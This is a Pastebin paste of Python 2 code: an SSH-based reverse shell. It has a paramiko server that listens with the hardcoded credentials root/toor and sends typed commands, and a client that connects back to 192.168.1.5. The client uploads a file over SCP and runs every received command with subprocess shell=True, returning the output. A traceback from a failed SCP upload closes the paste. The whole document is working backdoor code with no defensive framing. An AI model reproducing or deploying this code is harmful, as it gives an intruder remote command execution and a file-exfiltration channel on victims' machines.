Guest User

Untitled

a guest
Mar 3rd, 2018
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.23 KB | None | 0 0
  1. import socket
  2. import paramiko
  3. import threading
  4. import sys
  5.  
  6. host_key = paramiko.RSAKey(filename='test_rsa.key')
  7.  
  8.  
  9. host_ip = '192.168.1.5'
  10. username='root'
  11. password='toor'
  12.  
  13.  
  14. class Server (paramiko.ServerInterface):
  15. def _init_(self):
  16. self.event = threading.Event()
  17. def check_channel_request(self, kind, chanid):
  18. if kind == 'session':
  19. return paramiko.OPEN_SUCCEEDED
  20. return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
  21. def check_auth_password(self, username, password):
  22. if (username == 'root') and (password == 'toor'):
  23. return paramiko.AUTH_SUCCESSFUL
  24. return paramiko.AUTH_FAILED
  25.  
  26. try:
  27. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  28. sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  29. sock.bind((host_ip, 22))
  30. sock.listen(100)
  31. print '[+] Listening for connection ...'
  32. client, addr = sock.accept()
  33. except Exception, e:
  34. print '[-] Listen/bind/accept failed: ' + str(e)
  35. sys.exit(1)
  36.  
  37.  
  38. print '[+] Got a connection!'
  39.  
  40. try:
  41. t = paramiko.Transport(client)
  42. try:
  43. t.load_server_moduli()
  44. except:
  45. print '[-] (Failed to load moduli -- gex will be unsupported.)'
  46. raise
  47. t.add_server_key(host_key)
  48. server = Server()
  49. try:
  50. t.start_server(server=server)
  51. except paramiko.SSHException, x:
  52. print '[-] SSH negotiation failed.'
  53.  
  54. chan = t.accept(20)
  55. print '[+] Authenticated!'
  56. print chan.recv(1024)
  57. chan.send('Yeah i can see this')
  58.  
  59. while True:
  60. command= raw_input("Enter command: ").strip('n')
  61. chan.send(command)
  62. print chan.recv(1024) + 'n'
  63.  
  64.  
  65. except Exception, e:
  66. print '[-] Caught exception: ' + ': ' + str(e)
  67. try:
  68. t.close()
  69. except:
  70. pass
  71. sys.exit(1)
  72.  
  73. import paramiko
  74. import threading
  75. import subprocess
  76. from scp import SCPClient
  77.  
  78.  
  79. host_ip = '192.168.1.5'
  80. username='root'
  81. password='toor'
  82.  
  83.  
  84. client = paramiko.SSHClient()
  85. client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  86. client.connect(host_ip, username='root',password='toor')
  87.  
  88.  
  89. chan = client.get_transport().open_session()
  90. chan.send('Hey i am connected :) ')
  91. print chan.recv(1024)
  92.  
  93. scp_client = SCPClient( client.get_transport())
  94.  
  95. scp_client.put("aka.txt","aka.txt")
  96. scp_client.close()
  97. while True:
  98. command = chan.recv(1024)
  99. try:
  100. CMD = subprocess.check_output(command, shell=True)
  101. if (CMD !='') :
  102. chan.send(CMD)
  103. else :
  104. chan.send(' Done my friend :D ')
  105.  
  106. except Exception,e:
  107. chan.send(str(e))
  108.  
  109.  
  110. client.close
  111.  
  112. Traceback (most recent call last):
  113. File "client.py", line 23, in <module>
  114. scp_client.put("aka.txt","aka.txt")
  115. File "/home/lightcannon/.local/lib/python2.7/site-packages/scp.py", line 145, in put
  116. self.sanitize(asbytes(remote_path)))
  117. File "/home/lightcannon/.local/lib/python2.7/site-packages/paramiko/channel.py", line 63, in _check
  118. return func(self, *args, **kwds)
  119. File "/home/lightcannon/.local/lib/python2.7/site-packages/paramiko/channel.py", line 241, in exec_command
  120. self._wait_for_event()
  121. File "/home/lightcannon/.local/lib/python2.7/site-packages/paramiko/channel.py", line 1198, in _wait_for_event
  122. raise e
  123. paramiko.ssh_exception.SSHException: Channel closed.
Add Comment
Please, Sign In to add comment